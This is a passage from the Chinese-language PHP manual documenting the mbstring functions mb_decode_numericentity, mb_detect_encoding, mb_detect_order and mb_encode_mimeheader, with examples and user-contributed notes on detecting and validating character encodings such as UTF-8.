This function ignores any encoded-word specified in a character set not supported by the mbstring extension (e.g. Arabic windows-1256). Such encoded-words pass straight through.

RFC2047 doesn't specify the behaviour, but common agents such as Gmail, Windows Mail, etc. DO NOT ignore such encoded words. They are decoded as if they were declared to be in the local character set.

Be aware of this idiosyncrasy.
Frogger2000 at gmx dot de 29-May-2002 01:16
Using quoted-printable-encoding the hex-numbers must be written in uppercase letters!

Works: =?iso-8859-1?q?=3F=3F=3F?=
Fails: =?iso-8859-1?q?=3f=3f=3f?=


根据 HTML 数字字符串解码成字符

  • ? mb_decode_mimeheader
  • mb_detect_encoding ?
  • PHP Manual
  • 多字节字符串 函数
  • 根据 HTML 数字字符串解码成字符

mb_decode_numericentity

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_decode_numericentity — 根据 HTML 数字字符串解码成字符

说明

mb_decode_numericentity(string $string, array $map, ?string $encoding = null): string

将 string 的数字字符串引用按指定的字符块转换成 string。

参数

string

要解码的 string。

map

map 是 array，指定了要转换的代码区域。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

is_hex

不使用此参数。

返回值

转换后的 string。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

示例

Example #1 map 示例

<?php
$convmap = array (
int start_code1, int end_code1, int offset1, int mask1,
int start_code2, int end_code2, int offset2, int mask2,
........
int start_codeN, int end_codeN, int offsetN, int maskN );
// Specify Unicode value for start_codeN and end_codeN
// Add offsetN to value and take bit-wise 'AND' with maskN,
// then convert value to numeric string reference.
?>

Example #2 map 示例，转义 JavaScript 字符串

<?php
function escape_javascript_string($str) {
$map = [
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,0,0, // 49
0,0,0,0,0,0,0,0,1,1,
1,1,1,1,1,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,
0,1,1,1,1,1,1,0,0,0, // 99
0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,
0,0,0,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1, // 149
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1, // 199
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1, // 249
1,1,1,1,1,1,1, // 255
];
// Char encoding is UTF-8
$mblen = mb_strlen($str, 'UTF-8');
$utf32 = bin2hex(mb_convert_encoding($str, 'UTF-32', 'UTF-8'));
for ($i=0, $encoded=''; $i < $mblen; $i++) {
$u = substr($utf32, $i*8, 8);
$v = base_convert($u, 16, 10);
if ($v < 256 && $map[$v]) {
$encoded .= '\\x'.substr($u, 6,2);
} else if ($v == 2028) {
$encoded .= '\\u2028';
} else if ($v == 2029) {
$encoded .= '\\u2029';
} else {
$encoded .= mb_convert_encoding(hex2bin($u), 'UTF-8', 'UTF-32');
}
}
return $encoded;
}

// Test data
$convmap = [ 0x0, 0xffff, 0, 0xffff ];
$msg = '';
for ($i=0; $i < 1000; $i++) {
// chr() cannot generate correct UTF-8 data larger value than 128, use mb_decode_numericentity().
$msg .= mb_decode_numericentity('&#'.$i.';', $convmap, 'UTF-8');
}

// var_dump($msg);
var_dump(escape_javascript_string($msg));

参见

  • mb_encode_numericentity() - Encode character to HTML numeric string reference

User Contributed Notes

abderrahmanekaddour dot aissat at gmail dot com 29-Aug-2022 11:41
<?php

// the following documentation depending on understanding of the code source of php mbr
// first in order to optimise the work of php
// the string must contain "&" or else php won't bother trying to decode.
// for the map : int start_codeN, int end_codeN, int offsetN, int maskN
// the entity must be in the range [start_codeN, end_codeN] , if the entity is greater or less
// mb_decode_numericentity will ignore the decode process and return the $string as it is.
// in the late version of php, $map : "must have a multiple of 4 elements"

$map = [ 0x0, 0xFFFF, 0, 0];
echo mb_decode_numericentity('&#109;', $map ); // result "m"
// if offsetN = 1 result "l" ; the more you increase the decimal the more it use OR operrand.
$map_2 = [ 0x0, 0xFFFF, 60, 0];
echo mb_decode_numericentity('&#109;', $map_2 ); // decode ( &#49; ) result : "1"

// entity Reference to check the result : https://cs.stanford.edu/people/miles/iso8859.html#ISO

?>
fernandosilveira at yahoo dot com dot br 05-Jun-2020 12:49
Be careful!
In addition to translate numeric entities to chars on specified target encoding, this function encodes every character from input string to the specified target encodin, even if the characters are outside the range defined by the conversion map.
donovan at conduit it 19-Apr-2006 09:05
note that at this time it seems that mb_decode_numericentity() only works with decimal entities and not hexadecimal entities.  This fact would have saved me a good hour of time in debugging.

For those who need to convert hex entities try first converting them all to decimal entities with a combination of the preg_replace() and hexdec() functions.
dev at glossword info 19-Nov-2003 07:43
Just two great functions for daily use:

/* Converts any HTML-entities into characters */
function my_numeric2character($t)
{
    $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
    return mb_decode_numericentity($t, $convmap, 'UTF-8');
}
/* Converts any characters into HTML-entities */
function my_character2numeric($t)
{
    $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
    return mb_encode_numericentity($t, $convmap, 'UTF-8');
}
print my_numeric2character('&#8217; &#7936; &#226;');
print my_character2numeric(' ? ? ');


检测字符的编码

  • ? mb_decode_numericentity
  • mb_detect_order ?
  • PHP Manual
  • 多字节字符串 函数
  • 检测字符的编码

mb_detect_encoding

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_detect_encoding — 检测字符的编码

说明

mb_detect_encoding(string $string, array|string|null $encodings = null, bool $strict = false): string|false

从有序的候选列表中检测 string string 最可能的字符编码。

对预期（intended）字符编码的自动检测不可能永远完全可靠；没有额外的信息，就类似于在没有密钥的情况下解码已编码的字符串。最好使用与数据一起存储或传输的字符编码表示，例如"Content-Type" HTTP 头。

此函数适用于多字节编码，但并非所有字节顺序都构成有效字符串。如果输入字符串包含这样的顺序，则将会拒绝该编码，并检查下一个编码。

参数

string

要检测的 string。

encodings

按顺序尝试的字符编码列表。该列表可以指定为字符串数组，或以逗号分隔的单个字符串。

如果省略 encodings 被或为 null，则将使用当前的 detect_order（使用 mbstring.detect_order 配置选项或 mb_detect_order() 函数设置）。

strict

控制 string 在列出的所有 encodings 中无效时的行为。如果 strict 设置为 false，将返回最接近的匹配编码；如果 strict 设置为 true，将返回 false。

可以使用 mbstring.strict_detection 配置选项设置 strict 的默认值。

返回值

检测到的字符编码，如果字符串在任何列出的编码中均无效，则返回 false。

示例

Example #1 mb_detect_encoding() 示例

<?php
// 使用当前的 detect_order 来检测字符编码
echo mb_detect_encoding($str);

// "auto" 将根据 mbstring.language 来扩展
echo mb_detect_encoding($str, "auto");

// 通过以逗号分隔的列表指定"encodings"参数
echo mb_detect_encoding($str, "JIS, eucjp-win, sjis-win");

// 使用数组指定"encodings"参数
$encodings = [
"ASCII",
"JIS",
"EUC-JP"
];
echo mb_detect_encoding($str, $encodings);
?>

Example #2 strict 参数的影响

<?php
// 'áéóú' 在 ISO-8859-1 中的编码
$str = "\xE1\xE9\xF3\xFA";

// 该字符串不是有效的 ASCII 或 UTF-8，但 UTF-8 被认为是更接近的匹配
var_dump(mb_detect_encoding($str, ['ASCII', 'UTF-8'], false));
var_dump(mb_detect_encoding($str, ['ASCII', 'UTF-8'], true));

// 如果找到有效编码，则严格参数不会更改结果
var_dump(mb_detect_encoding($str, ['ASCII', 'UTF-8', 'ISO-8859-1'], false));
var_dump(mb_detect_encoding($str, ['ASCII', 'UTF-8', 'ISO-8859-1'], true));
?>

以上示例会输出：

string(5) "UTF-8"
bool(false)
string(10) "ISO-8859-1"
string(10) "ISO-8859-1"

在某些情况下，相同的字节顺序可能会在多种字符编码中形成有效的字符串，并且无法知道其意图是哪种解释。例如，在众多字符编码中，字节序列"\xC4\xA2"可能是：

  • "?￠" (U+00C4 LATIN CAPITAL LETTER A WITH DIAERESIS followed by U+00A2 CENT SIGN) encoded in any of ISO-8859-1, ISO-8859-15, or Windows-1252
  • "Ф?" (U+0424 CYRILLIC CAPITAL LETTER EF followed by U+0402 CYRILLIC CAPITAL LETTER DJE) encoded in ISO-8859-5
  • "?" (U+0122 LATIN CAPITAL LETTER G WITH CEDILLA) encoded in UTF-8

Example #3 匹配多个编码时顺序的影响

<?php
$str = "\xC4\xA2";

// 该字符串在所有三种编码中均有效，因此将返回列出的第一个
var_dump(mb_detect_encoding($str, ['UTF-8', 'ISO-8859-1', 'ISO-8859-5']));
var_dump(mb_detect_encoding($str, ['ISO-8859-1', 'ISO-8859-5', 'UTF-8']));
var_dump(mb_detect_encoding($str, ['ISO-8859-5', 'UTF-8', 'ISO-8859-1']));
?>

以上示例会输出：

string(5) "UTF-8"
string(10) "ISO-8859-1"
string(10) "ISO-8859-5"

参见

  • mb_detect_order() - 设置/获取 字符编码的检测顺序

User Contributed Notes

geompse at gmail dot com 08-Nov-2022 10:35
Major undocumented breaking change since 8.1.7
https://3v4l.org/BLjZ3

Make sure to replace mb_detect_encoding with a loop of calls to mb_check_encoding
mta59066 at gmail dot com 19-Sep-2022 07:47
The documentation is no longer correct for php8.1 and mb_detect_encoding no longer supports order of encodings. The example outputs given in the documentation are also no longer correct for php8.1. This is somewhat explained here https://github.com/php/php-src/issues/8279

I understand the previous ambiguity in these functions, but in my option 8.1 should have deprecated mb_detect_encoding and mb_detect_order and came up with different functions. It now tries to find the encoding that will use the least amount of space regardless of the order, and I am not sure who needs that.

Below is an example function that will do what mb_detect_encoding was doing prior to the 8.1 change.

<?php

function mb_detect_enconding_in_order(string $string, array $encodings): string|false
{
    foreach($encodings as $enc) {
        if (mb_check_encoding($string, $enc)) {
            return $enc;
        }
    }
    return false;
}

?>
d_maksimov 04-Apr-2022 01:48
It was helpful for my exec(...) call. When it returned cp866 or cp1251:

try {
    $line = iconv('CP866', 'CP1251', $line);
} catch(Exception $e) {
}
return iconv('CP1251', 'UTF-8', $line);
recentUser at example dot com 28-Mar-2018 07:17
In my environment (PHP 7.1.12),
"mb_detect_encoding()" doesn't work
     where "mb_detect_order()" is not set appropriately.

To enable "mb_detect_encoding()" to work in such a case,
     simply put "mb_detect_order('...')"
     before "mb_detect_encoding()" in your script file.

Both
     "ini_set('mbstring.language', '...');"
     and
     "ini_set('mbstring.detect_order', '...');"
DON'T work in script files for this purpose
whereas setting them in PHP.INI file may work.
lotushzy at gmail dot com 04-Jan-2018 12:18
About function mb_detect_encoding, the link http://php.net/manual/zh/function.mb-detect-encoding.php , like this:
mb_detect_encoding('áéóú', 'UTF-8', true); // false
but now the result is not false, can you give me reason, thanks!
garbage at iglou dot eu 30-Mar-2017 01:11
For detect UTF-8, you can use:

if (preg_match('!!u', $str)) { echo 'utf-8'; }

- Norihiori
lexonight at yahoo dot com 06-Nov-2016 12:54
<?php
$file = file_get_contents("somefile.txt");
$encodings = implode(',', mb_list_encodings());
echo mb_detect_encoding($file, $encodings, true);
?>
seems to work
emoebel at web dot de 25-Dec-2013 09:29
if the  function " mb_detect_encoding" does not exist  ...

... try:

<?php
// ----------------------------------------------------
if ( !function_exists('mb_detect_encoding') ) {

// ----------------------------------------------------------------
function mb_detect_encoding ($string, $enc=null, $ret=null) {

        static $enclist = array(
            'UTF-8', 'ASCII',
            'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5',
            'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-10',
            'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16',
            'Windows-1251', 'Windows-1252', 'Windows-1254',
            );

        $result = false;

        foreach ($enclist as $item) {
            $sample = iconv($item, $item, $string);
            if (md5($sample) == md5($string)) {
                if ($ret === NULL) { $result = $item; } else { $result = true; }
                break;
            }
        }

    return $result;
}
// ----------------------------------------------------------------

}
// ----------------------------------------------------
?>

example / usage of: mb_detect_encoding()

<?php
// ------------------------------------------------------
function str_to_utf8 ($str) {

    if (mb_detect_encoding($str, 'UTF-8', true) === false) {
    $str = utf8_encode($str);
    }

    return $str;
}
// ------------------------------------------------------
?>

$txtstr = str_to_utf8($txtstr);
Anonymous 08-Oct-2013 09:17
// -----------------------------------------------------------

if(!function_exists('mb_detect_encoding')) {

function mb_detect_encoding($string, $enc=null, $ret=true) {
    $out=$enc;
    static $list = array('utf-8', 'iso-8859-1', 'iso-8859-15', 'windows-1251');
        foreach ($list as $item) {
            $sample = iconv($item, $item, $string);
            if (md5($sample) == md5($string)) { $out = ($ret !== false) ? true : $item; }
        }
    return $out;
}

}

// -----------------------------------------------------------
eyecatchup at gmail dot com 11-Jun-2013 10:41
Just a note: Instead of using the often recommended (rather complex) regular expression by W3C (http://www.w3.org/International/questions/qa-forms-utf-8.en.php), you can simply use the 'u' modifier to test a string for UTF-8 validity:

<?php
  if (preg_match("//u", $string)) {
      // $string is valid UTF-8
  }
bmrkbyet at web dot de 24-Mar-2013 02:04
a) if the FUNCTION mb_detect_encoding is not available:

### mb_detect_encoding ... iconv ###

<?php
// -------------------------------------------

if(!function_exists('mb_detect_encoding')) {
function mb_detect_encoding($string, $enc=null) {

    static $list = array('utf-8', 'iso-8859-1', 'windows-1251');

    foreach ($list as $item) {
        $sample = iconv($item, $item, $string);
        if (md5($sample) == md5($string)) {
            if ($enc == $item) { return true; }    else { return $item; }
        }
    }
    return null;
}
}

// -------------------------------------------
?>

b) if the FUNCTION mb_convert_encoding is not available:

### mb_convert_encoding ... iconv ###

<?php
// -------------------------------------------

if(!function_exists('mb_convert_encoding')) {
function mb_convert_encoding($string, $target_encoding, $source_encoding) {
    $string = iconv($source_encoding, $target_encoding, $string);
    return $string;
}
}

// -------------------------------------------
?>
Gerg Tisza 18-Feb-2011 03:43
If you try to use mb_detect_encoding to detect whether a string is valid UTF-8, use the strict mode, it is pretty worthless otherwise.

<?php
    $str = 'áéóú'; // ISO-8859-1
    mb_detect_encoding($str, 'UTF-8'); // 'UTF-8'
    mb_detect_encoding($str, 'UTF-8', true); // false
?>
nat3738 at gmail dot com 22-May-2009 03:58
A simple way to detect UTF-8/16/32 of file by its BOM (not work with string or file without BOM)

<?php
// Unicode BOM is U+FEFF, but after encoded, it will look like this.
define ('UTF32_BIG_ENDIAN_BOM'   , chr(0x00) . chr(0x00) . chr(0xFE) . chr(0xFF));
define ('UTF32_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE) . chr(0x00) . chr(0x00));
define ('UTF16_BIG_ENDIAN_BOM'   , chr(0xFE) . chr(0xFF));
define ('UTF16_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE));
define ('UTF8_BOM'               , chr(0xEF) . chr(0xBB) . chr(0xBF));

function detect_utf_encoding($filename) {

    $text = file_get_contents($filename);
    $first2 = substr($text, 0, 2);
    $first3 = substr($text, 0, 3);
    $first4 = substr($text, 0, 3);

    if ($first3 == UTF8_BOM) return 'UTF-8';
    elseif ($first4 == UTF32_BIG_ENDIAN_BOM) return 'UTF-32BE';
    elseif ($first4 == UTF32_LITTLE_ENDIAN_BOM) return 'UTF-32LE';
    elseif ($first2 == UTF16_BIG_ENDIAN_BOM) return 'UTF-16BE';
    elseif ($first2 == UTF16_LITTLE_ENDIAN_BOM) return 'UTF-16LE';
}
?>
prgss at bk dot ru 30-Mar-2009 02:16
Another light way to detect character encoding:
<?php
function detect_encoding($string) {
  static $list = array('utf-8', 'windows-1251');

  foreach ($list as $item) {
    $sample = iconv($item, $item, $string);
    if (md5($sample) == md5($string))
      return $item;
  }
  return null;
}
?>
matthijs at ischen dot nl 28-Mar-2009 10:33
I seriously underestimated the importance of setlocale...
<?php
$strings = array(
    "mais coisas a pensar sobre diário ou dois!",
    "plus de choses à penser à journalier ou à deux !",
    "?más cosas a pensar en diario o dos!",
    "più cose da pensare circa giornaliere o due!",
    "flere ting ? tenke p? hver dag eller to!",
    "Dal?í věcí, p?emy?let o ka?dy den nebo dva!",
    "mehr über Spa? sp?t sch?nen",
    "m? von? gjat? fun bukur",
    "t?bb mint szórakozás kés? csodálatos kenyér"
);

$convert = array();
setlocale(LC_CTYPE, 'de_DE.UTF-8');
foreach( $strings as $string )
        $convert[] = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $string);
?>

Produces the following:

Array
(
    [0] => mais coisas a pensar sobre diario ou dois!
    [1] => plus de choses a penser a journalier ou a deux !
    [2] => ?mas cosas a pensar en diario o dos!
    [3] => piu cose da pensare circa giornaliere o due!
    [4] => flere ting aa tenke paa hver dag eller to!
    [5] => Dalsi veci, premyslet o kazdy den nebo dva!
    [6] => mehr ueber Spass spaet schoenen
    [7] => me vone gjate fun bukur
    [8] => toebb mint szorakozas keso csodalatos kenyer
)

whereas

<?php
$convert = array();
setlocale(LC_CTYPE, 'nl_NL.UTF-8');
foreach( $strings as $string )
        $convert[] = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $string);
?>

produces:
Array
(
    [0] => mais coisas a pensar sobre di?rio ou dois!
    [1] => plus de choses ? penser ? journalier ou ? deux !
    [2] => ?m?s cosas a pensar en diario o dos!
    [3] => pi? cose da pensare circa giornaliere o due!
    [4] => flere ting ? tenke p? hver dag eller to!
    [5] => Dal?? v?c?, p?em??let o ka?d? den nebo dva!
    [6] => mehr ?ber Spass sp?t sch?nen
    [7] => m? von? gjat? fun bukur
    [8] => t?bb mint sz?rakoz?s k?s? csod?latos keny?r
)

This might be of interest when trying to convert utf-8 strings into ASCII suitable for URL's, and such. this was never obvious for me since I've used locales for us and nl.
dennis at nikolaenko dot ru 06-Oct-2008 09:18
Beware of bug to detect Russian encodings
http://bugs.php.net/bug.php?id=38138
hmdker at gmail dot com 23-Aug-2008 09:58
Function to detect UTF-8, when mb_detect_encoding is not available it may be useful.

<?php
function is_utf8($str) {
    $c=0; $b=0;
    $bits=0;
    $len=strlen($str);
    for($i=0; $i<$len; $i++){
        $c=ord($str[$i]);
        if($c > 128){
            if(($c >= 254)) return false;
            elseif($c >= 252) $bits=6;
            elseif($c >= 248) $bits=5;
            elseif($c >= 240) $bits=4;
            elseif($c >= 224) $bits=3;
            elseif($c >= 192) $bits=2;
            else return false;
            if(($i+$bits) > $len) return false;
            while($bits > 1){
                $i++;
                $b=ord($str[$i]);
                if($b < 128 || $b > 191) return false;
                $bits--;
            }
        }
    }
    return true;
}
?>
yaqy at qq dot com 20-Jul-2008 10:14
<?php
/*
*QQ: 290359552
* conver to Utf8 if $str is not equals to 'UTF-8'
*/
function convToUtf8($str)
{
if( mb_detect_encoding($str,"UTF-8, ISO-8859-1, GBK")!="UTF-8" )
{

return  iconv("gbk","utf-8",$str);

}
else
{
return $str;
}

}
?>
rl at itfigures dot nl 04-Sep-2007 02:00
I used Chris's function "detectUTF8" to detect the need from conversion from utf8 to 8859-1, which works fine. I did have a problem with the following iconv-conversion.

The problem is that the iconv-conversion to 8859-1 (with //TRANSLIT) replaces the euro-sign with EUR, although it is common practice  that \x80 is used as the euro-sign in the 8859-1 charset.

I could not use 8859-15 since that mangled some other characters, so I added 2 str_replace's:

if(detectUTF8($str)){
  $str=str_replace("\xE2\x82\xAC","&euro;",$str);
  $str=iconv("UTF-8","ISO-8859-1//TRANSLIT",$str);
  $str=str_replace("&euro;","\x80",$str);
}

If html-output is needed the last line is not necessary (and even unwanted).
sunggsun 15-Aug-2006 12:26
from PHPDIG

    function isUTF8($str) {
        if ($str === mb_convert_encoding(mb_convert_encoding($str, "UTF-32", "UTF-8"), "UTF-8", "UTF-32")) {
            return true;
        } else {
            return false;
        }
    }
chris AT w3style.co DOT uk 03-Aug-2006 02:22
Based upon that snippet below using preg_match() I needed something faster and less specific.  That function works and is brilliant but it scans the entire strings and checks that it conforms to UTF-8.  I wanted something purely to check if a string contains UTF-8 characters so that I could switch character encoding from iso-8859-1 to utf-8.

I modified the pattern to only look for non-ascii multibyte sequences in the UTF-8 range and also to stop once it finds at least one multibytes string.  This is quite a lot faster.

<?php

function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

?>
telemach 27-Jul-2005 06:48
beware : even if you need to distinguish between UTF-8 and ISO-8859-1, and you the following detection order (as chrigu suggests)

mb_detect_encoding('accentu?e' , 'UTF-8, ISO-8859-1')

returns ISO-8859-1, while

mb_detect_encoding('accentu?' , 'UTF-8, ISO-8859-1')

returns UTF-8

bottom line : an ending '?' (and probably other accentuated chars) mislead mb_detect_encoding
Chrigu 29-Mar-2005 07:32
If you need to distinguish between UTF-8 and ISO-8859-1 encoding, list UTF-8 first in your encoding_list:
mb_detect_encoding($string, 'UTF-8, ISO-8859-1');

if you list ISO-8859-1 first, mb_detect_encoding() will always return ISO-8859-1.
php-note-2005 at ryandesign dot com 17-Feb-2005 07:57
Much simpler UTF-8-ness checker using a regular expression created by the W3C:

<?php

// Returns true if $string is valid UTF-8 and false otherwise.
function is_utf8($string) {

    // From http://w3.org/International/questions/qa-forms-utf-8.html
    return preg_match('%^(?:
          [\x09\x0A\x0D\x20-\x7E]            # ASCII
        | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
        |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
        | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
        |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
        |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
        | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
        |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
    )*$%xs', $string);

} // function is_utf8

?>
jaaks at playtech dot com 14-Jan-2005 12:27
Last example for verifying UTF-8 has one little bug. If 10xxxxxx byte occurs alone i.e. not in multibyte char, then it is accepted although it is against UTF-8 rules. Make following replacement to repair it.

Replace
         } // goto next char
with
         } else {
           return false; // 10xxxxxx occuring alone
         } // goto next char
maarten 12-Jan-2005 03:55
Sometimes mb_detect_string is not what you need. When using pdflib for example you want to VERIFY the correctness of utf-8. mb_detect_encoding reports some iso-8859-1 encoded text as utf-8.
To verify utf 8 use the following:

//
//    utf8 encoding validation developed based on Wikipedia entry at:
//    http://en.wikipedia.org/wiki/UTF-8
//
//    Implemented as a recursive descent parser based on a simple state machine
//    copyright 2005 Maarten Meijer
//
//    This cries out for a C-implementation to be included in PHP core
//
    function valid_1byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0x80) == 0x00;
    }

    function valid_2byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xE0) == 0xC0;
    }

    function valid_3byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xF0) == 0xE0;
    }

    function valid_4byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xF8) == 0xF0;
    }

    function valid_nextbyte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xC0) == 0x80;
    }

    function valid_utf8($string) {
        $len = strlen($string);
        $i = 0;
        while( $i < $len ) {
            $char = ord(substr($string, $i++, 1));
            if(valid_1byte($char)) {    // continue
                continue;
            } else if(valid_2byte($char)) { // check 1 byte
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } else if(valid_3byte($char)) { // check 2 bytes
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } else if(valid_4byte($char)) { // check 3 bytes
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } // goto next char
        }
        return true; // done
    }

for a drawing of the statemachine see: http://www.xs4all.nl/~mjmeijer/unicode.png and http://www.xs4all.nl/~mjmeijer/unicode2.png


设置/获取 字符编码的检测顺序

  • ? mb_detect_encoding
  • mb_encode_mimeheader ?
  • PHP Manual
  • 多字节字符串 函数
  • 设置/获取 字符编码的检测顺序

mb_detect_order

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_detect_order — 设置/获取 字符编码的检测顺序

说明

mb_detect_order(array|string|null $encoding = null): array|bool

为编码列表 encoding 设置自动检测字符编码的顺序。

参数

encoding

encoding 是一个 array 或者逗号分隔的字符编码列表。 参见支持的编码。

如果省略 encoding 或为 null，它将返回当前字符编码检测顺序的数组。

该设置会影响 mb_detect_encoding() 和 mb_send_mail()。

mbstring 当前实现了以下编码检测筛选器。 如有以下编码列表的无效字节序列，编码的检测将会失败。

UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP

对于 ISO-8859-*，mbstring 总是检测为 ISO-8859-*。

对于 UTF-16、UTF-32、 UCS2 和 UCS4，编码检测总是会失败。

返回值

设置编码检测顺序时候，成功时返回 true，识别时候返回 false。

在获取编码检测顺序的时候，会返回排序过的编码数组。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

示例

Example #1 mb_detect_order() 示例

<?php
/* 为检测顺序设置枚举列表 */
mb_detect_order("eucjp-win,sjis-win,UTF-8");

/* 通过数组设置检测顺序 */
$ary[] = "ASCII";
$ary[] = "JIS";
$ary[] = "EUC-JP";
mb_detect_order($ary);

/* 显示当前的检测顺序 */
echo implode(", ", mb_detect_order());
?>

Example #2 案例展示了无效的检测顺序

; 总是检测为 ISO-8859-1
detect_order = ISO-8859-1, UTF-8

; 总是检测为 UTF-8，由于 ASCII/UTF-7 的值对  UTF-8 是有效的
detect_order = UTF-8, ASCII, UTF-7

参见

  • mb_internal_encoding() - 设置/获取内部字符编码
  • mb_http_input() - 检测 HTTP 输入字符编码
  • mb_http_output() - 设置/获取 HTTP 输出字符编码
  • mb_send_mail() - 发送编码过的邮件

User Contributed Notes

There are no user contributed notes for this page.


为 MIME 头编码字符串

  • ? mb_detect_order
  • mb_encode_numericentity ?
  • PHP Manual
  • 多字节字符串 函数
  • 为 MIME 头编码字符串

mb_encode_mimeheader

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_encode_mimeheader — 为 MIME 头编码字符串

说明

mb_encode_mimeheader(
string $string,
?string $charset = null,
?string $transfer_encoding = null,
string $newline = "\r\n",
int $indent = 0
): string

按 MIME 头编码方案将指定的字符串 string 进行编码。

参数

string

要编码的 string。 它的编码应该和 mb_internal_encoding() 一样。

charset

charset 指定了 str 的字符集名。 其默认值由当前的 NLS 设置（mbstring.language）来确定。

transfer_encoding

transfer_encoding 指定了 MIME 的编码方案。 它可以是 "B"（Base64）也可以是 "Q"（Quoted-Printable）。 如果未设置，将回退为 "B"。

newline

newline 指定了 EOL（行尾）标记，使 mb_encode_mimeheader() 执行了一个换行（» RFC 文档中规定，超过长度的一行将换成多行，当前该长度硬式编码为 74 个字符）。 如果没有设定，则回退为 "\r\n" (CRLF)。

indent

首行缩进（header 里 string 前的字符数目）。

返回值

转换后的字符串版本以 ASCII 形式表达。

更新日志

版本 | 说明
8.0.0 | charset 和 transfer_encoding 现在可以为空。

示例

Example #1 mb_encode_mimeheader() 例子

<?php
$name = "太郎"; // kanji
$mbox = "kru";
$doma = "gtinn.mon";
$addr = '"' . addcslashes(mb_encode_mimeheader($name, "UTF-7", "Q"), '"') . '" <' . $mbox . "@" . $doma . ">";
echo $addr;
?>

以上示例会输出：

"=?UTF-7?Q?+WSqQzg-?=" <kru@gtinn.mon>

注释

Note:

这个函数没有设计成据更高级上下文的中断点来换行（单词边界等）。 这个特性将导致意外的空格可能会让原始字符串看上去很乱。

参见

  • mb_decode_mimeheader() - 解码 MIME 头字段中的字符串

User Contributed Notes

Anonymous 11-Apr-2009 06:19
I could not find a PHP function to MIME encode the name for a n email address.

Input   = "Karl Müller<kmueller@gmx.de>"
Output = "Karl%20M%FCller<kmueller@gmx.de>"

I wrote it on my own:

<?php
// required to encode names in email addresses
// replace " " with "%20"
// replace "ü" with "%FC"
// replace "%" with "%25"      etc....
// Use "%" as Delimiter for MIME
// Use "=" as Delimiter for Quoted Printable
// Input string must be UTF8 encoded
public static function EncodeMime($Text, $Delimiter)
{
    $Text = utf8_decode($Text);
    $Len  = strlen($Text);
    $Out  = "";
    for ($i=0; $i<$Len; $i++)
    {
        $Chr = substr($Text, $i, 1);
        $Asc = ord($Chr);

        if ($Asc > 0x255) // Unicode not allowed
        {
            $Out .= "?";
        }
        else if ($Chr == " " || $Chr == $Delimiter || $Asc > 127)
        {
            $Out .= $Delimiter . strtoupper(bin2hex($Chr));
        }
        else $Out .= $Chr;
    }
    return $Out;
}
?>
tokul at users dot sourceforge dot net 30-Mar-2008 04:26
mb_encode_mimeheader() depends on correct mbstring.internal_encoding setting. It tries to convert $str from internal encoding to $charset. If you ignore mbstring internal encoding, function might encode strings incorrectly even when $str character set matches $charset
stormflyCUT at hyh dot pl 05-May-2006 04:41
Some solution for using national chars and have problem with UTF-8 for example in mail subject. Before you use mb_encode_mimeheader with UTF-8 set mb_internal_encoding('UTF-8').
